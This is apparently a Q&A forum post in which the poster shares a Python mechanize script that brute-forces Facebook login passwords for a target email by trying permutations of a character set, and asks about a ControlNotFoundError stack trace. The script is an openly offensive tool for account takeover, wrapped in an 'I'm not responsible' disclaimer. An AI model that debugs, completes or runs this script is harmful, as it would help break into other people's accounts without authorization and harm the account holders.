title: brute force script python and mechanize
body: <p>I'm trying to brute force the Facebook login page with a python script, however whenever I run the code I get the errors below. My code is:</p>
  
  <pre class="lang-py prettyprint-override"><code>br = mechanize.Browser()
  br.set_handle_equiv(True)
  br.set_handle_redirect(True)
  br.set_handle_referer(True)
  br.set_handle_robots(False)
  br.addheaders = [('User-agent', 'Firefox')]
  print "enter target email" 
  email = raw_input('&gt;&gt;&gt;')
  print "continue at your own risk, im not responible for what you do..."
  print "would you like to continue"
  contnue = raw_input('y/n:')
  
  if contnue == 'y':
      combos = itertools.permutations("i3^4hUP-",8)
      br.open("http://www.facebook.com/login/")
      for x in combos:
          br.select_form( nr = 0 )
          br.form['email'] = email 
          br.form['password'] = ''.join(x)
          print "Checking ",br.form['password']
          response=br.submit()
          if response.geturl()=="http://www.example.com/redirected_to_url":
              #url to which the page is redirected after login
              print "Correct password is ",''.join(x)
              break
  </code></pre>
  
  <p>The script uses the mechanize module to try and brute force the default facebook login page.</p>
  
  <p>The stack trace for my error is:</p>
  
  <pre class="lang-none prettyprint-override"><code>File "passripper.py", line 83, in &lt;module&gt;
     br.form['password'] = ''.join(x)
    File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 2780, in __setitem__
      control = self.find_control(name)
    File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3101, in find_control
      return self._find_control(name, type, kind, id, label, predicate, nr)
    File "/usr/local/lib/python2.7/dist-packages/mechanize-0.2.5-py2.7.egg/mechanize/_form.py", line 3185, in _find_control
      raise ControlNotFoundError("no control matching "+description)
  mechanize._form.ControlNotFoundError: no control matching name 'password'
  </code></pre>
  
  <p>Can somebody please explain what the error messages mean?</p>